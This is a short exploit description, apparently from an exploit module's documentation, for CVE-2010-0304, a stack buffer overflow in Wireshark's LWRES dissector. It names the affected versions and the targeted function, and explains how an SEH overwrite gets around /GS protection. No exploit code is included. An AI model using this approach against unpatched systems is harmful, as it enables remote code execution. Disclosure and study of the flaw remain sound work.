Reference(s) :

CVE-2010-0304
EDB-ID-11288
wnpa-sec-2010-02

Affected version(s) :

0.9.15 to 1.0.10, 1.2.0 to 1.2.5 included

Tested on Windows XP SP3 with :

wireshark/tshark 1.2.5

Description :

The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through 1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer overflow. This bug found and reported by babi. This particular exploit targets the dissect_getaddrsbyname_request function. Several other functions also contain potentially exploitable stack-based buffer overflows. The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents exploitation via the return address on the stack. Sending a larger string allows exploitation using the SEH bypass method. However, this packet will usually get fragmented, which may cause additional complications. NOTE: The vulnerable code is reached only when the packet dissection is rendered. If the packet is fragmented, all fragments must be captured and reassembled to exploit this issue.
